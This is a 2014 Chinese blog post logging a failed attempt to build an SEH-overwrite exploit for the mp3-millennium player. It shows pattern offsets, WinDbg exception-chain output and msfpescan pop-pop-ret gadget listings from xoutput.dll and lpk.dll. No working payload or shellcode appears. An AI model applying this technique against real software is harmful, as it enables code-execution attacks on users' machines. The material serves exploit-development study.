zcc1414

博客园 首页 联系 订阅 管理

例子:   mp3-millennium


典型SEH  漏洞·····················

一般我们都是直接去写文件,但是这个例子有检查文件属性的


可以看到有检查机制

所以构造 POC时要注意,不然没法制造异常

用 !pvefindaddr pattern_create 6000

构造POC  去制造异常

发现异常,!exchain命令查看SEH链  然后得到 SEH和NSEH 地址,

然后  !pvefindaddr pattern_offset 去查看地址 然后记录偏移

再构造POC    SEH地址设断,NSEH设为  \x11\x11\x11\x11

0:000> !exchain
00125cd4: cccccccc
Invalid exception stack at 11111111
然后就HAPPY了   

WINDBG查看  程序加载了那些DLL

拖进  MSF目录下

msf > msfpescan -p xoutput.dll
[*] exec: msfpescan -p xoutput.dll

[xoutput.dll]
0x10001254 pop ebx; pop ebp; retn 0x0010
0x100016fa pop esi; pop ebx; ret
0x100018c3 pop ebx; pop ebp; ret
0x10001b2d pop esi; pop ebp; ret
0x10001c99 pop esi; pop ebp; ret
0x1000202f pop ebp; pop ebx; retn 0x000c
0x10002069 pop ebp; pop ebx; retn 0x000c
0x100020b8 pop ebp; pop ebx; retn 0x000c
查看到了  pop pop retn  

会发现  有\x00 的都不能要啊!!!!!!!!!!!!!!!!!

换一个DLL试试

msf > msfpescan -p lpk.dll
[*] exec: msfpescan -p lpk.dll


[lpk.dll]
0x10028027 pop esi; pop ebp; ret
会发现只剩一个了,天啦,我的运气是有多好得意
可惜还是不行··············

再搜

0x10020064 pop ebx; pop ecx; ret
0x100200e1 pop ebx; pop ecx; ret
0x100200fd pop ebx; pop ecx; ret
0x10020133 pop ebx; pop ecx; ret
0x10020147 pop ebx; pop ecx; ret
0x10020209 pop ebp; pop ebx; ret
0x10020214 pop ebp; pop ebx; ret
0x100202c8 pop ebp; pop ebx; ret
0x100202d0 pop ebp; pop ebx; ret
0x100205d7 pop edi; pop esi; ret
0x1002065b pop ebx; pop ecx; ret
0x10020667 pop ebx; pop ecx; ret
0x10020793 pop ebx; pop ecx; ret
0x1002079b pop ebx; pop ecx; ret
0x100207a4 pop ebx; pop ecx; ret
0x1002083d pop esi; pop ebx; ret
0x1002084e pop esi; pop ebx; ret
0x100208dc pop esi; pop edi; 

测试了很久·····················

发现  对NSEH 还有检查   不知道是不是我系统的缘故·······························

最后改为 JE  才行

我哪个去············程序加了  检查,·········现在没办法了  shellcode总是不通过···

不整了··················


我勒个去·········居然不同文件名 报错不一样······m3u  和  mpf  居然不一样的出错···























posted on 2014-03-16 16:08  zcc1414  阅读(270)  评论(0编辑  收藏  举报